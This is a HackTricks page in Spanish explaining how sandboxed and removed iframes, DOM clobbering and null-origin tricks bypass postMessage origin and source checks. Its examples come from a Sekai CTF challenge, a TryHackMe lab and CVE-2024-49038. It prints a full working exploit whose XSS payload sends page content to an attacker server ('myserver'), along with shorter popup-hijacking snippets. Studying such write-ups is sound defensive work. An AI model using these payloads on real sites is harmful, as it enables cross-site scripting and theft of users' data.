Bypassing SOP with Iframes - 2
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Iframes in SOP-2
En la solution para este challenge, @Strellic_ propone un método similar al de la sección anterior. Veámoslo.
En este desafío el atacante necesita bypass lo siguiente:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
Si lo hace, puede enviar un postmessage con contenido HTML que se va a escribir en la página con innerHTML sin saneamiento (XSS).
La forma de bypassear la primera comprobación es haciendo que window.calc.contentWindow sea undefined y e.source sea null:
window.calc.contentWindowes en realidaddocument.getElementById("calc"). Puedes clobberdocument.getElementByIdcon<img name=getElementById />(nota que Sanitizer API -here- no está configurada para proteger contra DOM clobbering en su estado predeterminado).- Por lo tanto, puedes clobber
document.getElementById("calc")con<img name=getElementById /><div id=calc></div>. Entonces,window.calcseráundefined. - Ahora, necesitamos que
e.sourceseaundefinedonull(porque se usa==en lugar de===,null == undefinedesTrue). Conseguir esto es “fácil”. Si creas un iframe y send un postMessage desde él y eliminas inmediatamente el iframe,e.originva a sernull. Revisa el siguiente código
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Para evitar la segunda comprobación sobre el token hay que enviar token con valor null y hacer que el valor de window.token sea undefined:
- Enviar
tokenen el postMessage con valornulles trivial. window.tokense obtiene llamando a la funcióngetCookieque usadocument.cookie. Ten en cuenta que cualquier acceso adocument.cookieen páginas con origennulldesencadena un error. Esto hará quewindow.tokentenga el valorundefined.
La solución final de @terjanq es la following:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)
Una tarea reciente de TryHackMe (“Vulnerable Codes”) demuestra cómo se pueden secuestrar popups de OAuth cuando el opener vive dentro de un iframe en modo sandbox que solo permite scripts y popups. El iframe fuerza tanto a sí mismo como al popup a un origin "null", por lo que los handlers que comprueban if (origin !== window.origin) return fallan silenciosamente porque window.origin dentro del popup también es "null". Aunque el navegador todavía expone el location.origin real, la víctima nunca lo inspecciona, así que los mensajes controlados por el atacante pasan sin problema.
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);
Puntos clave para explotar esa configuración:
- Los handlers que comparan
originconwindow.origindentro del popup pueden ser eludidos porque ambos evalúan a"null", por lo que los mensajes falsificados parecen legítimos. - Los sandboxed iframes que conceden
allow-popupspero omitenallow-same-originaún generan popups bloqueados al origen null controlado por el atacante, proporcionándote un enclave estable incluso en compilaciones de Chromium de 2025.
Source-nullification & frame-restriction bypasses
Los writeups de la industria sobre CVE-2024-49038 destacan dos primitivas reutilizables para esta página: (1) aún puedes interactuar con páginas que establecen X-Frame-Options: DENY lanzándolas vía window.open y enviando mensajes una vez que la navegación se completa, y (2) puedes forzar por fuerza bruta las comprobaciones event.source == victimFrame eliminando el iframe inmediatamente después de enviar el mensaje para que el receptor solo vea null en el handler.
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
Combina esto con el truco de DOM-clobbering de arriba: una vez que el receptor solo ve event.source === null, cualquier comparación contra window.calc.contentWindow o similar se colapsa, permitiéndote enviar de nuevo sinks HTML maliciosos a través de innerHTML.
Referencias
- PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong
- THM Write-up: Vulnerable Codes
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

